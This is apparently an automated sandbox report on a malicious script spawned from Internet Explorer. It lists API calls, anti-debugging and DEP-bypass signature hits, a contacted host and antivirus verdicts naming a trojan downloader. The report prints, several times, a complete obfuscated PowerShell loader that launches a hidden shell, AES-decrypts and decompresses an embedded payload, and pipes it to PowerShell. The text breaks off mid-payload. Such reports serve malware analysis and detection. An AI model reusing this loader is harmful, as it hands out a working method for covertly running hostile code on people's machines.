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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
filepath: powershell.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\system32\cmd.exe
parameters: /c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff80000
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2608 CREDAT:145409
host 117.18.232.200
FireEye VB:Trojan.Valyria.8365
ALYac VB:Trojan.Valyria.8365
Arcabit VB:Trojan.Valyria.D20AD
Cyren VBS/Agent.BCE
Symantec ISB.Downloader!gen63
ESET-NOD32 VBS/Agent.QVZ
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8365
MicroWorld-eScan VB:Trojan.Valyria.8365
Emsisoft VB:Trojan.Valyria.8365 (B)
VIPRE VB:Trojan.Valyria.8365
MAX malware (ai score=83)
GData VB:Trojan.Valyria.8365
Google Detected
Tencent Script.Trojan.Generic.Vmhl
Ikarus Win32.Outbreak
parent_process iexplore.exe martian_process powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
parent_process iexplore.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = 'AAAAAAAAAAAAAAAAAAAAAG/ebLL6mbaeYT9ucj4uk9+izEWAg+Ksft29i6cwAhx2H59RKiQmRD07NfSvkYPbJPdBfc7QHKdOMBXRDWTtaek329s1tyk2s4LwNkzIwJoUljgy/+EqxR8M0/aoWEu+sjSDh7fUQD/vS2tTgZXfNBd18YqmsMWpgvORrX8F7npFy9fyny5S3olIuUtDoWqzET2jHhnHOsw2ChbYKlQkHlfSAa3sI7NFAFWOckJ1pUMjVFzmoF/k2qTqFUnNyOo28XDBiA9xYnguAz0Sp27qYiCxC3lVyb8qxLrWT+0cGvdOVuvIo9zKP5wCgWq56W9LWjIqJSFsrd2JdUiclVZLQddJa1TPXBqnqSMV+4gs9lQ5Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl+dS0a9DXPFxL9aAsQwr0cWBN59VKrzD1na1a4dGiBTjDXlQlwOPwEa1oZZgo6MgRi4fYdYAh5NcxTOY4iVWzrL7f7MYxslSmyjdGclje8TOcUYUCAT0oAQdrfO9WAhUQLGNI4oKtSV5vts6pVeNdEMR3vcSdiCL3yE4AZJHZ4x+neYJFubGeB+PlQ6cb7a7KHb7L9XyxT5LHxjH0eZ8YpGpLBGt0V/X2